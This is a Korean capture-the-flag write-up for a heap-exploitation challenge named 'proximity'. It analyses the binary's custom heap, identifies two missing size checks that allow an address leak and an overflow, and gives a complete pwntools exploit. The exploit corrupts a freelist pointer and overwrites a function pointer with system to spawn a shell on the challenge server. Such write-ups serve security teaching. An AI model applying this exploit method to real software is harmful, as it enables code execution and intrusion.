proximity

> 내부에 custom heap을 구현하여 데이터를 관리하는 프로그램이다.

- proximity
  - Analysis
  - 취약점 1
  - write 메뉴 / 취약점 2
  - Exploit
  - Exploit Code

Analysis

chunk는 전역 변수로 구현되어 있으며, 다양한 하위 chunk들을 관리한다. 분석을 통해 알아낸 chunk의 구조는 다음과 같다.

```
00000000
00000000 chunk_struc     struc ; (sizeof=0x78, mappedto_8)
00000000 user_chunk      dq ?
00000008 user_chunk_size dq ?
00000010 chunk2          dq ?
00000018 chunk2_size     dq ?
00000020 cnt             dw ?
00000022 field_22        dw ?
00000024 notice_flag     db ?
00000025 stop_pthread_flag db ?
00000026                 db ? ; undefined
00000027                 db ? ; undefined
00000028 user_chunk_data_idx dq ?
00000030 mutex           dq ?                    ; offset
00000038 field_38        dq ?
00000040 field_40        dq ?
00000048 field_48        dq ?
00000050 field_50        dq ?
00000058 notice_funtion  dq ?
00000060 chunk4          dq ?                    ; offset
00000068 more_data       dq ?
00000070 field_70        dq ?
00000078 chunk_struc     ends
00000078
```

- 함수 포인터

```
void *__fastcall start_routine()
{
  while ( chunk->stop_pthread_flag != 1 )
  {
```

```
    if ( chunk->notice_flag == 1 )
    {
      pthread_mutex_lock(&chunk->mutex);
      (chunk->notice_funtion)(&chunk->more_data);// function pointer
      pthread_mutex_unlock(&chunk->mutex);
      chunk->notice_flag = 0;
    }
  }
  return 0LL;
}
```

notice_flag가 활성화되면 함수 포인터를 호출해주는 부분이 쓰레드로 구현되어 있다.

```
void __fastcall opcode_switch(__int64 opcode, __int64 user_chunk)
{
  if ( opcode <= 6 )
  {
    switch ( opcode )
    {
      case 0:
        read_chunk(opcode, user_chunk);
        break;
      case 1:
        write_chunk(opcode, user_chunk);
        break;
      case 2:
        delete_chunk(opcode, user_chunk);
        break;
        ...
      default:
        return;
    }
  }
}
```

사용자가 입력한 opcode를 통하여 넓게 보았을 때, read, write, delete와 같은 기능을 하는 메뉴로 사용자가 입력한 데이터와 함께 분기한다.

- read 메뉴

```
__int64 __fastcall next_opcode_switch(opcode_struc *os)
{
  _BYTE *opcode; // [rsp+8h] [rbp-10h]
  __int64 v3; // [rsp+10h] [rbp-8h]

  opcode = (chunk->user_chunk + chunk->user_chunk_data_idx);
  v3 = chunk->user_chunk + chunk->user_chunk_size;
  while ( v3 - opcode > 1 && *opcode != 0xDD )
  {
```

```
    switch ( *opcode )
    {
      case '0':
        os->op_0_uesr_chunk = opcode;
        os->val_0 = opcode[1] + 2;
        break;
      case 'e':
        if ( opcode[1] > 0x11u )
        {
          os->op_e_user_chunk = opcode;
          os->val_e = opcode[1] + 2;
        }
        break;
      case '8':
        os->op_8_user_chunk = opcode;
        os->val_8 = opcode[1] + 2;
        break;
    }
    opcode += opcode[1] + 2;
    chunk->user_chunk_data_idx += opcode[1] + 2;
  }
  return 0LL;
}
```

opcode는 '0', 'e', '8'이 존재하며, 모두 비슷하게 opcode_struc 구조체에 값을 저장한다. 분석한 opcode_struc은 다음과 같다. opcode를 입력하였을 당시의 사용자 입력 데이터와, opcode value를 저장한다.

```
00000000 opcode_struc    struc ; (sizeof=0x1B8, mappedto_9)
00000000 field_0         dq ?
00000008 field_8         dq ?
00000010 op_0_uesr_chunk dq ?
00000018 val_0           dq ?
00000020 field_20        dq ?
...
00000088 field_88        dq ?
00000090 op_8_user_chunk dq ?
00000098 val_8           dq ?                    000000A0 field_A0        dq ?
...
00000108 field_108       dq ?
00000110 op_e_user_chunk dq ?
00000118 val_e           dq ?
00000120 field_120       dq ?
...
000001B0 field_1B0       dq ?
000001B8 opcode_struc    ends
000001B8
```

취약점 1

```
  if ( os.op_e_user_chunk )
  {
    buf = os.op_e_user_chunk;
    if ( !memcmp(&chunk->more_data, (os.op_e_user_chunk + 14), 6uLL) )
      make_chunk4_linked_list_return(buf + 14);
    else
      write(1, buf, os.val_e);
  }
```

위에서 입력받은 `opcode`를 이용하여 연산을 진행하는데, `write` 함수를 호출하는 과정에서 `os.val_e`의 사이즈 검증이 존재하지 않아 PIE, LIBC 주소를 얻어낼 수 있다.

> PIE: linux의 ELF(실행 파일) 보호 기법 중 하나로, 코드, 힙 영역 등을 유추할 수 없도록 랜덤화한다.

> LIBC: 실행 파일에 로드된 라이브러리 코드의 주소이다

write 메뉴 / 취약점 2

```
        if ( v5->flag && v5->buf )
        {
          memcpy(v5->buf, os.op_8_user_chunk, os.val_8);
        }
        else                                    // vmmap copy
        {
          v5->vmmap_size = os.val_8;
          v5->buf = return_vmmap(v5->vmmap_size);
          if ( v5->buf )
          {
            memcpy(v5->buf, os.op_8_user_chunk, os.val_8);
            v5->flag = v3;
            v5->what = v4;
          }
        }
```

동일하게 `os.val_8`에 사이즈 검증이 존재하지 않아 특정 상황에서 오버플로우가 발생한다. `v5->buf`는 커스텀된 힙의 주소이다. 이는 `return_vmmap` 함수를 통해서 반환된다.

```
unsigned __int64 *__fastcall return_vmmap(__int64 a1)
{
  unsigned __int64 v2; // [rsp+8h] [rbp-20h]
  unsigned __int64 i; // [rsp+10h] [rbp-18h]
  unsigned __int64 size; // [rsp+18h] [rbp-10h]
  __int64 v5; // [rsp+20h] [rbp-8h]

  size = ((a1 + 8) & 0xFFFFFFFFFFFFFFF8LL) + 16;
  if ( size > vmmap_end - vmmap_start )
    return 0LL;
  if ( qword_555555559080 )
```

```
    {
      v2 = qword_555555559080;
      for ( i = qword_555555559080; i; i = *(i + 8) )
      {
        if ( size <= *i )
        {
          if ( v2 == i )
            qword_555555559080 = *(i + 8);
          else
            *(v2 + 8) = *(i + 8);
          *(i + 8) = 0LL;
          return (i + 16);                          // here
        }
        v2 = i;
      }
    }
    v5 = vmmap_usage;
    *vmmap_usage = size;
    vmmap_usage += size;
    return (v5 + 16);
  }
```

`return (v5 + 16)` 부분은 사용자의 입력을 통해 조작이 불가능하기 때문에, `return (i + 16)` 부분을 어떻게 해본다면 원하는 주소를 반환시키고, 오버플로우를 일으킬 수 있다.

`qword_555555559080`는 GLIBC의 bin freelist와 구조가 매우 흡사하다. delete 메뉴에서 커스텀 힙을 해제할 시 linked-list로 해제된 힙이 추가되며, write 메뉴에서 커스텀 힙을 할당받을 시 linked-list를 통해 탐색하여 해제된 힙을 반환받아 할당받는다. 구조는 다음과 같다.

```
00000000 size            dq ?
00000008 prev_chunk      dq ?
00000010 data            dq ?
...
```

`prev_chunk` 부분을 오버플로우를 통해 조작하여 원하는 주소로 변경하고, 함수 포인터 부분을 system 함수로 덮어 쉘을 얻을 수 있다.

Exploit

exploit 순서는 다음과 같다.

- 취약점 1을 이용하여 PIE 주소 획득
- unsorted bin 해제

  > unsorted bin을 해제하면 fd, bk 영역에 `main_arena+96` 주소의 값이 생긴다는 점을 이용

- 취약점 1을 이용하여 main_arena의 주소를 유출하여 LIBC 주소 획득
- 커스텀 힙 bin freelist를 변조하기 위하여 dummy chunk A, B 2개를 이용하여 (A->B) 구조 구성

- 취약점 2 오버플로우 취약점을 이용하여 dummy chunk의 `prev_chunk` 포인터를 bss 영역(전역 변수 영역)으로 변조
- `chunk_struc`의 구조를 bss 영역에 만들어 함수 포인터 영역과 파라미터 부분을 변조하여 쓰레드를 통하여 system("/bin/sh") 실행

Exploit Code

```
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

e = ELF('./share/proximity')
l = e.libc

s = remote('prob2.cstec.kr', 5555)

gs = '''
set follow-fork-mode parent
set detach-on-fork off
'''

def db(s):
    gdb.attach(s, gdbscript=gs)
    pause()

def read_chunk():
    pay = b"A"*48
    pay += p64(0) # or p64(1) or p64(2)
    pay = pay.ljust(60, b"B")
    pay += b"\x00"
    return pay

def write_chunk(memo = b"A"*6):
    pay = memo
    pay = pay.ljust(48, b"\x00")
    pay += p64(0)
    pay = pay.ljust(60, b"B")
    pay += b"\x01"
    return pay

def delete_chunk(memo = b"A"*6):
    pay = memo
    pay = pay.ljust(48, b"\x00")
    pay += p64(0)
    pay = pay.ljust(60, b"B")
    pay += b"\x02"
    return pay

def enable_fp_flag():
    pay = b"sh;" * 3
    pay = pay.ljust(60, b"\x00")
```

```
    pay += b"\x03"

    s.send(pay)

flag = 1
filed_18 = 2

while True:
    ## LEAK \x11\x22\x33\x44\x55\x66 CHUNK FOR PIE BASE. ##
    pay = read_chunk()
    pay = pay.ljust(0xf4c, b'\xFF')
    pay += b"e" + b"\xFF"
    s.send(pay)
    sleep(1)

    leak = s.recvuntil(b'\x11\x22\x33\x44\x55\x66', drop=True)
    PIE_BASE = u64(leak[-8:]) - 0x5040
    log.info(f"PIE_BASE: {hex(PIE_BASE)}")

    ## FREE \x11\x22\x33\x44\x55\x66 CHUNK TO UNSORTED BIN. ##
    pay = delete_chunk(b"\x11\x22\x33\x44\x55\x66")
    pay += b"\x00"*3 + p8(0xda)
    pay += b"e" + b"\xFF"
    pay += b'\x00'*12
    pay += b"\x11\x22\x33\x44\x55\x66"
    s.send(pay)

    ## LEAK \x11\x22\x33\x44\x55\x66 CHUNK'S MAIN_ARENA. ##
    pay = read_chunk()
    pay = pay.ljust(0xf4c, b'\xFF')
    pay += b"e" + b"\xFF"
    s.send(pay)

    leak = s.recvuntil(b'\x7f', timeout=2)
    LIBC_BASE = u64(leak[-6:].ljust(8, b'\x00')) - 0x219ce0
    log.info(f"LIBC_BASE: {hex(LIBC_BASE)}")
    if LIBC_BASE < 0:
        s.close()
        s = remote('prob2.cstec.kr', 5555)
    else:
        break

## DUMMY CHUNK 1 ##
pay = write_chunk(b"B"*6)
pay += b"\x00"*3 + p32(flag)
pay += p8(filed_18)
pay += b"e" + b"\xFF"
pay += b"\x00" * (0xFF+2)
pay += b"8" + b"\x10"

s.send(pay)
sleep(1)

## DUMMY CHUNK 2 ##
```

```
pay = write_chunk(b"C"*6)
pay += b"\x00"*3 + p32(flag)
pay += p8(filed_18)
pay += b"e" + b"\xFF"
pay += b"\x00" * (0xFF+2)
pay += b"8" + b"\x10"

s.send(pay)
sleep(1)

# db(s)

## DUMMY CHUNK 3 ##
pay = write_chunk(b"D"*6)
pay += b"\x00"*3 + p32(flag)
pay += p8(filed_18)
pay += b"e" + b"\xFF"
pay += b"\x00" * (0xFF+2)
pay += b"8" + b"\x10"

s.send(pay)
sleep(1)

# db(s)

## DELETE DUMMY CHUNK 2 TO CHANGE CUSTOM HEAP BINS ##
pay = delete_chunk(b"C"*6)
pay += b"\x00"*3 + p8(flag)
pay += b"e" + b"\xFF"
pay += b'\x00'*12
pay += b"C"*6

s.send(pay)
sleep(1)

## DELETE DUMMY CHUNK 3 TO CHANGE CUSTOM HEAP BINS ##
pay = delete_chunk(b"D"*6)
pay += b"\x00"*3 + p8(flag)
pay += b"e" + b"\xFF"
pay += b'\x00'*12
pay += b"D"*6

s.send(pay)
sleep(1)

bss_chunk = PIE_BASE + 0x5034
log.info(f"bss_chunk: {hex(bss_chunk)}")

## CHANGE CUSTOM HEAP BINS ##
pay = write_chunk(b"B"*6)
pay += b"\x00"*3 + p32(flag)
pay += p8(filed_18)
pay += b"e" + b"\xFF"
pay += b"\x00" * (0xFF+2)
```

```
pay += b"8" + b"\xFF"
pay += p64(0)*3 + b"\x10" + b"\x00"*5 + p64(bss_chunk)

s.send(pay)
sleep(1)


## DELETE DUMMY LINKED LIST FROM CUSTOM HEAP BINS ##
pay = write_chunk(b"E"*6)
pay += b"\x00"*3 + p32(flag)
pay += p8(filed_18)
pay += b"e" + b"\xFF"
pay += b"\x00" * (0xFF+2)
pay += b"8" + b"\x10"

s.send(pay)
sleep(1)

system = LIBC_BASE + l.symbols['system']
log.info(f"libc_system: {hex(system)}")

fake_chunk = PIE_BASE + 0x5050
log.info(f"fake_chunk: {hex(fake_chunk)}")

## CHANGE BSS AREA WITH FAKE CHUNK AND CALL FUNCTION POINTER ##
pay = write_chunk(b"F"*6)
pay += b"\x00" * 3 + p32(flag)
pay += p8(filed_18)
pay += b"e" + b"\xFF"
pay += b"\x00" * (0xFF+2)
pay += b"8" + b"\x80"
pay += b"\x00"*2
pay += p64(fake_chunk)
pay += fit({
    0: fake_chunk + 0x100,
    0x8: p64(0x100),
    0x24: b"\x01",
    0x58: p64(system),
    0x68: b"/bin/sh\x00"
}, filler = b'\x00')

s.send(pay)

s.sendline('cat /flag')
s.interactive()
```

apollob{a2c7a10f4ba7acbef1102c71515019080edd5a2b8e8cd01c80f6c323b4a91106455cc6b4768582c5a8acfe4662fb44ea80e4c8929b8eb0401c77351cfbdbd3029a4d2d6a}